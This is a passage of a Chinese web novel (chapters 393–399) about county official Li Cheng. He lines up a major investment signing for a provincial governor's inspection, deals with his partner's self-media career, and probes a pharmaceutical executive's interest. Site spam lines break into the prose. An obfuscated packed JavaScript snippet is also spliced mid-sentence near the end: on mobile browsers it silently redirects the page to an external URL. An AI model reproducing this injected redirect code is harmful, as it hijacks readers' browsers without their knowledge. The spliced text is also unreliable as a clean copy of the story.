但是,会议上李承已经申请了回避,她也不好开口。 “嗯,方便。” 李承没有犹豫,答应道:“这样,我把她的手机给你,你去跟她联系。” “好。”宁文静点头。 李承拿出手机,将许梦的电话号码,发到了宁文静的微信上:“发过去了。” “好的,麻烦你了。”宁文静客气道。 “不麻烦。” 跟宁文静分别后,李承坐上公车,前往滨西市。 车上,李承打电话给了许梦。 “喂,老公?” 接通电话,许梦甜甜的声音传了过来。 那个视频发布后,许梦的账号受到关注,也涨了一些粉丝。 粉丝的活跃度也高了起来,算是为她自媒体事业的转型后,开了一个好头。 并且,许梦还开启了直播,通过直播,也获得了一些的收益。 “刚开完常委会议,讨论你的视频问题,县里很重视。”李承说。 “对你没影响吗?”许梦关切的询问。 她最担心的问题,就是对李承的仕途,会造成一些负面影响。 “没有。”李承说。 影响,肯定是有的,会议上,崔学文拿这个话题,对他进行了针对。 但这种事情不能跟许梦说。 许梦帮不上什么忙,只会徒增许梦的烦恼。 “那就好。” “县里准备让你配合,对于工商局的处理结果进行一个跟踪报道,我把你的联系方式给了宣传部的宁部长,到时候她会联系你。” 李承提前跟许梦打个招呼,让她做好心里准备。 “这是好事呀。” 听到这个消息,许梦觉得这是机会。 跟踪报道,那是正规媒体做的事情。 许梦一个自媒体,能被邀请跟踪报道,是一种身份的认可。 同样,也是对粉丝关注这件事有个交代。 许梦不是那些不良媒体人,为了博眼球不择手段。 若是风林县能够改进整顿,她也希望把风林县美好的一面展露出来。 “嗯,总体没什么坏处。” 李承随口回了一句,说:“晚上你和丹丹不用等我,我要去一趟滨西。” “好,知道了。” ...... 滨西市。 李承在来之前,已经跟市委书记周安的秘书提前预约过。 在秘书的带领下,李承进入周安的办公室。 “周书记。” 李承快步走到周安面前,向他伸出手。 “李承同志,别来无恙呀。” 周安起身,跟李承握了握手,迈步走向会客区。 两个人相对而坐,李承主动开口:“我这是过来,是想当面向您汇报一下工作。” “嗯。”周安点头。 “目前,产业园区已经正式进入招商期,最近一段时间,效果还不错。 已经有七家企业,初步跟我们产业园区达成了共识,确定签约的有两家。 分别是北方重型装备,和动联绿能,管委会正在做签约的准备事项。” 李承将情况汇报给周安。 “北方重型装备的体量可不小,听说汉江那边也在争取,你能把它拉过来建厂,了不得呀,呵呵呵....” 周安满意的笑了笑。 关于北方重型装备要签约风林县产业园区的事情,他已有耳闻。 对于这个项目的达成,他高度认可。 粱省长马上下来视察工作,能够在他来之前,签约下一个市值三十亿的大集团,周安也对视察组有个交代。 不然的话,他这位市委书记就要出糗了。 “这是管委会所有人的功劳。”李承谦虚的说。 “哎...你太谦虚了,前几天我跟金总通过话,他对你的评价非常高。 而且特意说明了,如果没有你的三顾茅庐,他绝对不会考虑去风林县,这件事,你是头功。” 周安笑呵呵的道。 作为一名市委书记,他的人脉很广... “周书记,您过奖了。” 李承谦虚一笑,说:“是这样,我准备借着跟北方重型装备签约的机会,弄一个招商企业座谈会,将所有意向投资风林县的企业都召集过来。 一直没来跟你汇报的原因,就是想等这个签约时间定下来后,请您亲自到风林,给我们撑撑场面。” “时间定在了哪天?”周安问。 “我的想法是,定在这个月的二十八号。”李承道。 “呵呵呵.....” 听到这个时间,周安露出一个意味深长的笑容:“你呀,不仅谈企业厉害,算计领导也有一套。” “我这哪叫算计,就是想借着这个机会,让企业们知道咱东江对重工业的重视嘛。” 李承端起茶杯,品了一口茶,笑呵呵的说:“而且,这样也不给您丢脸。” 这个月的二十八号,是一个很特殊的日子。 粱省长带队的视察小组,会到风林县。 这是一个机会。 梁省长代表的是全省政策动态,选在这个日子举办招商座谈会,就是让梁省长参与进来。 有他这位‘封疆大吏’撑场面,给产业园区做背书,又何愁那些企业对政府不信任? 省长亲自来,哪怕他一句话不说,也比李承这些人说一万句管用。 而且,借着这个机会,还能让粱省长看到风林县积极向上的发展。 三十亿市值的大公司签约入驻,就凭这一点,就能让粱省长对这次风林县的考察,打一个高分。 属于是一举两得。 “行,那就定在二十八号。” 周安答应,也郑重其事的叮嘱:“但这件事你必须要办好,不能有任何的疏忽,千万别给我丢脸。” “您放心,绝不给您丢脸。”李承保证道。 “产业园区我放心,但你们县我可放心不下,最近风林县的舆论风向可不怎么好。 省里视察组下来前,这件事得解决好。”周安说。 许梦那条视频在网上闹的沸沸扬扬,为此事,周安还亲自打电话训斥过王革。 省长马上要来了,这个时候出现这种问题,是上眼药的行为。 第394章 滨西问政? “县里已经有了解决方案,梁省长视察之前,一定可以妥善解决。”李承说道。 “嗯。” 周安喝了一口茶,淡淡的说:“你是一个有原则的同志,不会将工作和私人混为一谈。 但这种舆论事件,毕竟对政府形象有损,适当的注意一下。” “嗯,我尽量。” 李承知道,周安在说他与许梦的关系。 想让李承限制许梦,杜绝以后再出现类似的事件。 李承回复的是尽量,目的是为了提前规避风险,避免下次出现舆论事件,被问责。 “我和许梦还没有结婚,我劝劝她,但我也不好左右她的决定啊。” 李承也有他的苦衷。 许梦是为了他,辞去了省电视台主持人的工作。 在许梦的自媒体事业上,李承本就提供不了什么太多的帮助。 如果再因为自己的工作原因,去限制许梦的发展,说不过去。 “我不反对这种自媒体的存在,但要控制好舆情。”周安说。 李承是孟良德的老秘书,对待李承,周安不能像对待其他县处级干部那样。 他的态度不是命令,而是商量。 “嗯,这个我清楚。”李承说。 “许梦以前是省电视台的主持人,有没有想过,让她进市电视台?” 周安向李承抛去一个橄榄枝。 “还真没考虑过。”李承说。 “你回去问问许梦愿不愿意,她愿意的话,随时可以到市电视台入职。 《东江问政》的节目很出彩,我们滨西市也未曾不可做一个《滨西问政》。” 周安作为市委书记,想要开一个节目给许梦,只是一句话的事情。 他这个想法,即能卖李承一个人情,还能避免以后风林县再出现类似的舆论问题。 许梦的粉丝基础很大,录制的素材,又较为敏感。 与其对许梦进行舆论监督,不如给许梦增加一个官方的身份。 许梦作为普通人,以个人视角发现类似工商局这种问题,在网络上发酵,那叫舆情。 但许梦作为市电视台的节目主持人,有官方作为背书,再去发现这种问题,产生网络发酵,那叫政府部门的节目暗访。 性质完全不同。 “谢谢周书记的好意,我回去劝劝她。” 跟周安又聊了一会儿,李承告辞离开。 他还要去一趟市政府,亲自去邀请冯坤参加二十八号的招商座谈会。 ...... 晚上,李承跟冯坤一起共进晚餐。 虽说,李承和周安的工作交流更多,但私下里,李承跟冯坤的关系更近一些。 从第一次,李承陪同孟良德到滨西市视察,两个人就建立了联系。 李承对冯坤的印象不错,也是因为那第一次见面。 在那场招待宴上,孟良德提前离开,李承被滨西市领导班子冷落,变成一个透明人。 是冯坤主动搭话,向他敬酒,给了他很大的尊重。 人在被众人恭维时,往往记不得都有谁向他敬酒。 但被冷落时,往往能记得深刻。 也正是因为那次冯坤的主动示好,才在滨西市发生矿难,孟良德准备问责时,李承提前跟冯坤透了消息。 避免了冯坤的被动,给他争取了时间。 这场饭局是冯坤宴请李承,只有他们单独两个人,并没有邀请其他人做陪衬。 “产业园区是风林县,乃至滨西市的发展重点,李老弟,你肩膀上的担子很重。” 酒过三巡,冯坤举起酒杯,亲切的称呼李承为老弟。 这场酒局,并非是李承到达风林县后,两个人的第一次饭局。 在此之前,冯坤和李承也吃过一次饭。 上次是冯坤带着他市政府的核心班子,给李承介绍关系。 “担子越重,越要抗起来,这是老板给我的一次机会,我不能辜负他的栽培。” 李承递给冯坤一支香烟,淡淡的说。 他跟冯坤之间的关系,不仅有私下的交好,还有最重要一点,他们的背后,都站在孟良德。 滨西市的一把手周安,二把手冯坤,都是孟良德的人。 但关系,也有远近。 周安是后加入来的,关于孟良德的话题,李承能跟冯坤交流,却要对周安有所防备。 “老板很重视你,上次我和老板通话,还聊过你。”冯坤点燃香烟,说。 “是吗?聊我什么了?”李承吸了一口烟,好奇的问。 “他很认可你的能力,是夸奖。”冯坤笑呵呵的道。 他并没有讲出全部,隐藏了一部分。 关于李承在风林县的政治斗争,冯坤一清二楚,他也向孟良德做出了汇报。 冯坤曾询问过孟良德,要不要给予李承一些帮助。 毕竟,只要他开口,无论是陈红旗,还是崔学文,都不敢再针对李承。 而孟良德却严厉拒绝了。 孟良德要考验李承,也要让李承有一个历练的过程。 孟良德给了李承一个跳板,如果李承不能经过政治斗争的考验,那就是李承能力不行。 对于李承这颗棋子,他也将不再重点关注。 “领导在考验我,我知道。”李承说。 李承心知肚明,所以,在这场政治斗争中,他从没有借用过冯坤的人脉。 只是在适当的程度,联系了一下周安。 “嗯,至少现在,老板对你很满意。”冯坤笑了笑。 虽说,李承在这场政治斗争中,借过势。 但不可否认,李承已经逐渐在风林县的政治格局中,掌握了主动性。 “冯哥,今天我们不是谈工作,是私人交情,所以呀,有句私底下的话,我想问你。” 李承看向冯坤,他一直有一个猜想,今晚想验证一下。 “你说。”冯坤点了点头。 “陈红旗,跟你的关系不错吧?”李承盯着冯坤的眼睛,平静的问。 陈红旗在风林县的官僚主义,不止是依靠洪明德。 他有市里的关系,这一点,风林县的核心领导们都知道。 李承曾听崔学文提过,说陈红旗跟滨西的一位区长关系密切。 但经过李承这两个月对陈红旗的了解,和他的个人直觉,站在陈红旗背后的那个人,大概率是冯坤..... 第395章 影响力 “呵呵呵...” 面对李承的询问,冯坤淡淡一笑,并没有回答。 但通过冯坤的表情,李承已经验证了这个想法。 “看来,我的选择没有错。” 李承当初在考虑跟陈红旗合作,还是跟崔学文站队时,不止是因为陈红旗比崔学文势大。 李承当初有一个猜想,陈红旗可能跟冯坤有关系。 这个猜想,也在一定层度上,影响了李承的选择。 “他跟谁的关系紧密,都不影响你的判断和选择,不要在意这些。” 冯坤弹了弹烟灰,说。 这句话说的也很明白,陈红旗不过是冯坤的一个棋子。 一个随时都可以抛弃的棋子。 如果李承要斗争陈红旗,那么,冯坤也不会干预,与李承站在对立面。 “嗯,明白。”李承微微点头。 这个想法得到验证后,李承也有了一个更大的想法! ....... 吃过饭,回到家已经是九点多。 打开房门,许梦和杨丹正坐在客厅,操作着笔记本电脑。 “宝宝,你回来了。” 许梦看到李承进门,脸上洋溢起笑容。 她的笑容,不止是看到了李承,也是有好事情要跟李承分享。 “嗯,你们在干嘛呢?” 李承换上拖鞋,随口问道。 “我在教丹丹剪辑视频,丹丹悟性可高了,一教就会。”许梦对杨丹赞不绝口。 基础剪辑,虽然专业性不需要太高,但也要有耐心和一定的悟性。 许梦只是简单教了杨丹一下,对方就学会了。 “嗯。” 李承点了点头,走到电脑旁边,看了一眼。 “宝宝,今天文静部长找到了我,我们两个聊了一会儿。”许梦说。 “都聊什么了?”李承问。 “让我帮忙录制视频呗,你不都知道吗?”许梦道。 “哦,没聊别的吗?”李承随口问。 关于宁文静想让许梦配合,发布一条关于县政府整顿工商局的视频,李承是知情的。 “聊了,她说,她对我的工作很支持,说县里需要我这样的同志,还想让我做风林县的宣传大使呢,哈哈哈。” 许梦笑嘻嘻的说。 “那你怎么回答的?”李承问。 “我没同意。” 许梦说道,并讲出了她不同意的想法:“宣传大使就是一个名头,当了宣传大使,我就没办法继续这个题材录制了。 我觉得这是一个坑,反正不是好事。” 许梦说到了点子上。 宣传大使,只是一个名头,没有什么利益可言。 当了宣传大使,拿不到利益,反而还承担起一定的社会责任。 如果许梦当了宣传大使,类似于工商局这件事,许梦就不能发布。 发了,就是违背了宣传大使的责任。 “嗯,有件事情要跟你说一下,你自己考虑看看怎么样。”李承说。 “什么事?” “我今天见了周安书记,他想让你去市电视台入职,专门给你开一档类似《问政东江》的节目。” 李承将情况告知给许梦。 “啊?周书记还亲自惦记着我呢?”许梦有些意外。 她没想到,她一个小小的电视台主持人,会被一位市委书记关注,而且,对方还给她抛去了橄榄枝。 这让许梦又惊又喜。 “你现在可不一般,你那一条视频,造成了不小的社会舆论,周书记也格外关注。 这是准备把你招安。”李承坐在沙发上,点燃了一根香烟,笑着说。 招安,那是古代皇帝安抚匪患的计策。 水浒传中,水泊梁山的好汉,最终就败在了招安。 “是招安,那我可不能去,哈哈哈。” 许梦莞尔一笑,道:“你帮我跟周书记说一下,我不想去,我要跟丹丹把自媒体做大做强。” 周安提出的想法,让她心动。 但是,去了电视台,就要受到约束和限制。 而且,杨丹从封兰过来投奔她,如果她去了电视台上班,杨丹该何去何从? “我没关系,许梦姐你要去上班的话,我可以回家。” 杨丹是一个心思细腻的姑娘,她看出许梦是在为她顾虑,她笑着说。 “什么话,我们说好了,一起搞短视频。 而且,咱们才发出一条视频就有这么大的影响力,以后一定能成功。”许梦说。 这条视频给了她很大的自信。 她也想当老板,不被约束。 “嗯,不去也好。”李承说。 李承的心里,也不想让许梦去市电视台上班。 去了市电视台,两个人虽然距离近了,却还是要异地,不能每天见面。 而且,李承还要欠周安一个人情。 ...... 接下来的几天。 李承一如既往的做着招商工作,但他的工作重心,逐渐转移到了二十八号的招商座谈会。 时间卡在了梁省长的视察期间。 这其中,有算计领导的嫌疑。 这件事,是一把双刃剑。 座谈会开展的好,梁省长来撑场子,这对于风林县的未来发展是利好,李承也能给省长留下一个好印象。 但如果座谈会开展的不顺利,期间出现了什么纰漏,李承也是第一责任人,要承担一定的政治风险。 为了确保万无一失,李承对于座谈会,格外上心。 ‘咚咚咚...’ “进。” 在李承的许可下,办公室房门被推开,常务副主任田鑫走了进来。 “李主任,您看一下这几个规划书。” 田鑫将几份规划书放在李承的面前,他看向李承的眼神中,有着几分忌惮。 这已经不是他第一次来给李承看座谈会的规划书,前几次,都被李承拒绝。 而且,几次下来,李承的耐心也被消耗殆尽。 上一次,他甚至被李承严厉的批评过。 “嗯。” 李承用鼻音应了一声,拿起几份规划书,看了起来。 有了前几次的教训,这一次的计划书,倒是符合李承的想法。 经过认真挑选,李承看出第二份规划书,说:“这一份还可以,不过标题要改一改。” “怎么改?”田鑫问。 “你这个标题过于露骨,直接把梁省长推到了主题上,不行,整体的标题,还要以签约和招商为主。 梁省长的莅临,不能划重点。” 第396章 重点对象 “那就继续沿用之前的主题,可以吗?”田鑫问。 但他的语气里,透露着一些不耐烦。 之前的主题被李承给否过,原因是没有彰显省视察组。 现在,李承又嫌标题露骨,过度展现梁省长和省视察组。 这种自相矛盾的说辞,让田鑫心里认为,李承有精神病,是在瞎折腾。 “不行。” 李承拒绝:“以签约和招商为主,不是让你直接把梁省长和视察组摘出去。 提,还是要提,只是要侧面地提。 既不能太过于凸显,又要让别人觉得被重视,你懂吗?” “那怎么提?” 田鑫无奈的说。 既不凸显,还要让别人觉得重视,这在他看来,基本是不可能的。 “戚瑶,这个主题你去帮田主任做。” 看着田鑫的表情,李承也很无奈。 他想骂田鑫能力差,连这点小事都做不明白,最终,却也忍了下来。 李承的要求不难,因为省长的身份本身就自带分量,只要主题上,带上一笔,用词恰当,就很容易解决。 可偏偏,田鑫始终不能会意。 所以,李承将这件事,直接交给了戚瑶。 戚瑶就是中文系毕业,在这方面的能力强,交给她,即是李承对戚瑶工作能力的一种考验。 同样,也是在无声之中,训斥田鑫的能力太差。 一个常务副主任,需要一个新入职的联络员帮助,这本就带着一种挖苦。 “好的领导。” ‘我的爱如潮水,爱如潮水将我向你推....’ 这时,李承的手机响了起来。 李承看了一眼来电显示,是杨兆华的电话。 “你们先回去吧。” 在李承的吩咐下,两个人离开了李承的办公室。 接通电话,李承笑呵呵的说:“喂,老领导。” “忙什么呢,李县长?”杨兆华调侃的问。 “在管委会讨论招商的问题。”李承说。 “梁省长的视察队伍,二十八号到你们风林县,你知道吧?”杨兆华问。 这个消息李承已经知道了很久,但在得知消息后,这还是李承和杨兆华第一次通话。 “嗯,知道了。”李承说。 “提前做好准备,省里面这次是带着偏见去的你们县,想要抓个重点。” 杨兆华一开口,就透露出一个重要消息。 他没有第一时间通知关于梁省长的视察行程,是因为这个行程,已经提前公布出去,风林县会接到通知。 他不需要再去给李承打个电话,去装模作样的卖李承人情。 两个人的关系,不需要那种虚情假意的维护。 但这通电话,杨兆华要给李承提个醒。 这种消息,没有内部关系,县里是根本不会知情的。 “抓重点,什么意思?”李承眉头一皱,问。 “省里给风林县投了那么多钱,却迟迟不见起色,梁省长对此很愤怒,觉得是你们地方领导的不作为。 这次去,实际上就是想抓一个典型,给全省产业园区一个下马威。”杨兆华直接了当的说。 梁省长跟孟良德不同。 对于省里的政治斗争,他不去参与。 不参与,就代表着他放弃了根据地,他的权力重心不在核心层。 但作为一名‘封疆大吏’,他的权力重心不在省委省政府,那就要放在其他地方。 从其他城市中,来弥补这种权力的缺失。 这次视察全省产业园区,抓一个典型,就是一种权力展现。 “哦,这样呀。”李承点了点头。 不过,他并没有过度担心,因为他早就准备好了接待礼。 “听你的口气,好像不是很担心呀,最近园区的招商弄的还不错?”杨兆华淡淡的问。 全省五十多个县,他在省政府工作,自然不可能去了解每一个县的情况。 越是在权力核心区,越是看不到风林县这种小地方。 “嗯,我已经做好了准备,至少让省长在这次视察,挑不出问题。”李承微笑说道。 签约一个市值三十亿的大集团,这件事,就算是放在汉江,也是值得宣扬的功劳。 有这个成绩在,若是梁省长还会将风林县产业园区当典型,那就有些吹毛求疵,故意针对的意味了。 “什么准备,说来听听。”杨兆华问。 “二十八号那天,我会召开一场招商座谈会,将所有意向投资的企业召集过来。 并且在当天,南陵市的北方重型装备,会跟我们现场签约入驻。” 提到此事,李承也有些小得意。 北方重型装备毕竟是他亲自谈下来的企业,这是他的功绩。 “北方重型装备,刘宝林之前也势在必得,还跟梁县长夸下海口,说已经跟她们初步谈妥。 你确定,他们要跟你们风林县签约?” 杨兆华不太相信这个事实。 他并非不信任李承。 而是觉得,相比于汉江市的优势,风林县不值一提。 在招商层面,汉江作为省会城市,对风林县这个贫困县是降维打击。 “千真万确。” 李承认真的说:“这些天,我们已经跟北方重型装备,陆续的签署了一些协议。” 企业签约入驻,不是一份合同那么简单。 上个礼拜,金总还亲自到过一趟风林县,进行了选址。 在他们选好建厂地址后,李承亲自下令,特事特办,当场就把地给批了。 也就在当天,金总代表的北方重型装备和风林县管委会签署了土地租赁协议。 为北方重型装备的投资建厂,定下了初步基础。 “呵呵呵....这我就放心了。” 听到这个消息,杨兆华悬着的心放下不少:“有北方重型装备作为成绩,梁省长也不可能再说什么。 这次你们风林县,基本算是躲过一劫,说不定,梁省长带去的政策,还能落户到你们风林县呢。” “还有政策扶持?” 闻言,李承眼前一亮。 “有罚就有奖,针对优秀产业园区,省政府正在商议一个重点扶持,但消息还没有确定,不能外传。”杨兆华说。 “我知道。” 这是小道消息,杨兆华提前透露给他,是两个人的私交关系。 李承懂分寸,不会乱说。 第397章 扶持与批评 “老领导,多谢你的提醒,看来我还要继续努力,争取能得到梁省长的大力支持呀。”李承说。 风林县太穷了。 省里之前给风林县产业园区的投入,一部分挪用去维持‘三保’。 这部分挪用的钱,以风林县的财政情况,很难再要回来。 管委会需要省里的加大扶持。 虽说,现在省里给优秀产业园区的扶持政策还没有定,但以李承的经验,这次的政策不会差。 一来,东江省是工业大省,重点发展在工业,扶持力度在工业。 二来,梁省长刚任职,他需要一个足够分量的政策,来打响他的威名。 “很有可能的,加油吧。”杨兆华说。 全省的产业园区情况,他有了解。 李承这次签约下来一个三十亿的大集团,这份成绩,是其他产业园区比不了的。 不出意外,有这份成绩做支撑,风林县不仅不会被打成重点批评对象,反而有机会逆袭成为重点扶持对象! 跟杨兆华又聊了一会儿,这才挂断电话。 听说省里又扶持,李承像打了鸡血似的。 他很清楚,风林县想要快速发展,目前的政策还不够,需要省里给扶持。 若是能得到这次梁省长带来的扶持,产业园区的招商进度,或许还能迎来一次飞跃。 这不仅是对产业园区的利好,也是对李承仕途晋升的重点利好。 于是,李承又拿起了这些天,各个招商小组寻找出的高度意向企业名单,进行挨个电话联系。 ...... ‘咚咚咚.....’ 次日,李承正在用电话,跟华宇合金新材料的吴总进行交涉时,门外响起了敲门声。 李承没有回应敲门声,他继续笑呵呵的跟吴总说:“吴总,这个政策已经是最优惠了。” “李县长,我知道这个优惠政策还是能谈的,而且,你们也释放了一些优惠出来,怎么到我这里就不行了呢? 您是嫌我们华宇体量小吗?”吴总问。 他这个问题,已经说在了关键点上。 事实上,的确有极个别的企业政策,比华宇合金新材料更好。 但那些大优惠,都是给大体量集团的。 都是市值十亿起步,才能拿到那样的优惠。 而华宇合金的市值,不到两个亿。 给一些大企业重点优惠政策,是招商的潜规则,这种事,大家心照不宣。 可偏偏,吴总就提了出来。 面对这个问题,李承心里是这么想,嘴上却不能这么说:“吴总,您说笑了。 我对华宇合金一直都是高度重视,也非常迫切贵公司可以到风林县来。 只不过,特大优惠需要县里开常委会决策,我一个人做不了主。 县里有规定,十亿以上市值的公司,才有申请大优惠的机会。 但是呢,我一直觉得华宇合金非常有前景,这样,我一会儿去找一趟王书记,给您争取。” 十亿以上市值的大优惠申请,是李承提出的。 能给谁优惠,给什么样的优惠,也一直是李承在做主。 可吴总贴脸式的发言,让李承很尴尬,他只能在强调对华宇合金重视的同时,将责任推卸给县委常委。 如此以来,就能有一个缓和的阶段,方便下次沟通。 “嗯,那你去申请一下,你也知道,我们华宇合金,并非你们风林县一个选择。”吴总淡淡的说。 “好,我尽快给你答复。” 挂断电话,李承冲门外喊:“进。” 得到李承的许可,戚瑶这才推门走了进来。 “李县长,刚才招商二组的徐淼给我打来电话,说有一家企业的老总,点名要见你谈。 这个企业对我们风林县的意向度很高,她说,大概率可以谈成。” 戚瑶汇报情况道。 刚才李承的工作电话一直在占线,徐淼只好通过联络员戚瑶,才联系李承。 “她有说哪个企业吗?”李承问。 “盈天药业。”戚瑶道。 “盈天药业?” 听到这个企业,李承的眉头不禁微微皱起。 李承对所有潜在意向企业都有了解,但在招商名单中,并没有盈天医疗这家企业。 而且,医药企业不属于重工业,不需要产业迁移。 这种企业,为什么会意向来风林县投资,又为何要找自己来谈呢? 李承很费解。 他打开电脑,在网上查了一下关于盈天药业的资料。 这是一家生产中成药的企业。 看到企业的主营项目,李承更加困惑。 虽说,生产中成药,也会有废水,废气和药渣,属于环保重点监督行业。 但其排放标准,和对环境的污染,远远达不到重工业的程度。 不需要从南陵搬迁。 既然想不通,李承索性拿起了电话,打给了徐淼,想问个清楚。 ‘嘟...嘟...嘟....’ 电话响了十几秒,徐淼的声音传了过来:“喂,李主任。” “嗯,听戚瑶说,你那边有一个医药的企业想来风林县投资?”李承问。 “对,盈天药业。”徐淼说。 “你们的招商名单中,并没有这家企业,你是怎么联系的?”李承问出心中的第一个疑惑。 “我是去诺飞智能装备谈招商时,碰到的盈天药业秦总,秦总对我们这里的意向很高,她就主动找到了我。 主任,我感觉这个秦总应该认识您,她说要亲自见您谈。”徐淼讲述起事情的来龙去脉。 “秦总,男的女的?”李承问。 “女性,大概四十岁左右,保养的很年轻,个子不高,一米六左右,眼角下面有一个美人痣。”徐淼对秦总的形象,进行了描述。 闻言,李承陷入思索。 他在省政府工作时,确实也认识了不少企业家,也有姓秦的老总。 但在他的印象里,并没有一位女性企业家,姓秦,从事医疗行业。 “哦,我知道了,你留她的联系方式了吗?”李承问。 “留了。” “嗯。” 挂断电话,李承想到了一个人。 这个人或许可能与这件事情有关,就算无关,大概率也知道秦总的身份! 那个人就是同样从事医疗行业的恺奥医疗董事长,石山水! 第398章 小秦总 知己知彼,百战不殆。 在联系盈天药业的秦总之前,李承要对这个女人做出一些了解。 拿起电话,李承拨通了石山水的号码。 ‘嘟嘟..嘟.’ “喂,李老弟。” 电话接通,石山水亲切的声音传进李承耳中。 “石哥,最近别来无恙呀?”李承笑呵呵的寒暄一句。 “挺好的。”石山水回答道。 “血压控制得还稳定吧。” 石山水有高血压,李承借此,关心的询问。 “挺稳定,吃药控制呗。”石山水道。 “像你这种情况,别总发火,情绪最重要。”李承说。 别看石山水跟李承谈话时,一向态度都很友善。 但在工作中,他是一个暴脾气,每天都在发火。 虽然李承没有亲自见过他发火,但这是从娇娇口中听说的,不会有假。 “我也想不发火,但总有人做一些找骂的事情,没办法,工作嘛。” 石山水叹了一口气,跟李承诉说道:“就刚才,我还给营销部的总经理臭骂了一顿。 我给他开着百万年薪,连一点小指标都达不到,这不找骂吗?” “呵呵呵石哥,你说你身价这么多亿,有一辈子花不完的钱,还跟他们计较什么。 我要是你呀,就退休全世界的去旅游,辛苦打拼了半辈子,总该好好享受享受。” 李承不是建议他,而是向往的一种生活。 如果李承有石山水这个身价,他不会每天还为生意奔波,他会带着许梦,过最轻松的生活。 跟爱的人在一起,想去哪就去哪,想买什么就买什么,想做什么就做什么,简单而幸福。 “孩子不争气呀,但凡有个好的接班人,我也就放手了。” 提到此事,石山水又叹了一口气。 有钱的老子,大部分都会有败家的孩子。 长江后浪推前浪的情况,在这种企业家的家庭中,很罕见。 一代不如一代,才是常态。 这也是为何老话说,富不过三代的原因。 “还得培养和历练,得给年轻人机会。”李承说。 “给他机会,他能把公司给我搅合破产。”石山水哼了一声,他对他的孩子,很失望。 “呵呵呵” 李承笑了笑,没有继续聊这个话题:“石哥,有一个人,我想跟你打听一下,你看你认识不。” “谁呀?”石 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 山水问。 “盈天药业的秦总。”李承说。 “你问的是大秦总,还是小秦总?”石山水追问。 虽然恺奥医疗从事的医疗企业,和盈天药业方向不同。 但同在医药行业里打拼,互相也都认识。 “一个四十岁左右的女性,我也不知道她是大秦总,还是小秦总。”李承如实说。 “那是小秦总,大秦总是她爸爸。” 石山水介绍后,不禁感慨一句:“我儿子要是有小秦总的本事,我就能退休了。” “这个小秦总很厉害吗?”李承追问。 “青出于蓝而胜于蓝,一个能将即将破产的企业,做到准备上市,你说厉不厉害?” 石山水笑着问。 “那确实厉害。”李承道。 “你怎么问起她了?”石山水问。 “她准备到我们风林县产业园区来投资建厂,就想了解一下这个企业。”李承如实说,并没有隐瞒。 “她一个医药企业,跑你们风林县这个重工业园区干什么?”石山水对此,也颇为费解。 “不知道,所以才想跟您打听打听这家企业,和小秦总。”李承说。 “怎么说呢,我对她的了解不多。 但是,小秦总这个人,心机很深,跟她打交道,我建议你小心一点。” 石山水认真的叮嘱一句。 小秦总,一个可以做到蚂蚁吞象的人物,用一个濒临破产的公司,能够收购一家规模比她大数倍的公司,这其中的手段,令人骇然。 “好,知道了。” 李承答应一声,他知道,在石山水这里,得不到太多有用的信息。 于是,李承也就岔开了话题:“石哥,我表妹在你那里,没有惹什么麻烦吧?” 娇娇跟孟良德关系匪浅,对于她,李承要关注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397576|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “嗯还可以。” 听到这个问题,石山水略微沉吟。 他口中的‘还可以’,这是给李承的面子。 实际上,他是在说,娇娇的表现并不怎么样。 石山水能作出这种评价,这代表娇娇有些行为,已经让他感到了反感,或许不是碍于李承的面子,娇娇已经被开除了。 “她惹什么麻烦了吗?”李承追问。 “工作表现还好,就是犯了一些成年人都会犯的错误,不符合公司的规定。” 石山水道。 这句成年人都会犯的错误,代表着什么,李承大概能猜到。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 闻言,李承的眉头微微皱起,追问:“具体什么错误,你跟我详细说说。” “公司有规定,内部员工不能谈恋爱,但她.感情方面很丰富啊,为她离职的员工,现在就有两个了,还有一位技术员工。” 石山水尴尬的说。 对于此事,石山水很窝火。 内部员工不允许谈恋爱,这是石山水定下的规则。 他定的规则,这个底线任何人都不能触碰。 一旦发现谈恋爱,两个人中就必须要开除一个。 娇娇本来就是一个关系户,来混工资的。 比起被开除的两位,娇娇根本不重要,尤其里面还有一位技术员工。 可是,石山水没办法。 娇娇是李承的关系户,他不能开除娇娇,就只能开除另一个人。 “石哥,给你添麻烦了,我回头一定严肃的训斥她。”李承说。 娇娇是孟良德的人,如果不是这一点,就算娇娇是李承的亲妹妹,李承也会让娇娇主动离职。 石山水摆出一副无所谓的态度,道:“没关系,这都是一些小事情。” 两个人简单的聊了一下娇娇,便挂断了电话。 电话挂断后,李承点燃一根香烟,眉头皱得更紧。 娇娇和孟良德什么关系,李承心里再清楚不过。 可娇娇却找了男朋友,这代表什么? 如果孟良德知情后,会怎么想? 会不会迁怒于李承? 第399章 娇娇的问题 站在娇娇的角度,跟谁谈恋爱是她的自由。 而且,自从孟良德回到京城后,跟娇娇基本断了来往。 两个人的缘分,从孟良德回到京城后,就已经走到了尽头。 李承心里知道,娇娇已经被抛弃了。 可是,心里的猜测,只是概率性的推断,而非板上钉钉的事实。 万一孟良德还对她有想法呢? 那么,娇娇的行为就是背叛 至少,站在孟良德的角度是背叛。 李承有些苦恼。 连续吸了几口烟,李承最终决定对此事假装不知情,有机会的时候,适当敲打一下娇娇。 关于娇娇在恺奥医疗的工作,不能动! 哪怕孟良德放弃了她,也要让恺奥医疗养着她,这是无奈之举。 毕竟,她知道的秘密太重要了。 对娇娇这个人,要安抚解决。 从徐淼那里要来的小秦总的电话,李承给她拨通了过去。 “喂,你好。” 电话接通,一道清冷的声音传了过来。 “你好小秦总,我是风林县管委会的主任李承。”李承自我介绍。 “是李主任呀,您好。” 听到是李承的电话,小秦总显得格外热情。 “我听说,您有意向到我们风林县投资,特意给您打了一个电话。”李承说。 “嗯,有这个意向,您什么时候有时间,方便来一趟我们公司吗?我想跟您见面谈。” 小秦总对李承发出邀请。 “明天上午您有时间吗?”李承问。 今天时间已经来不及了,而且预约谈事,提前一天是最基本的尊重。 “只要李主任来,随时都有时间。”秦总道。 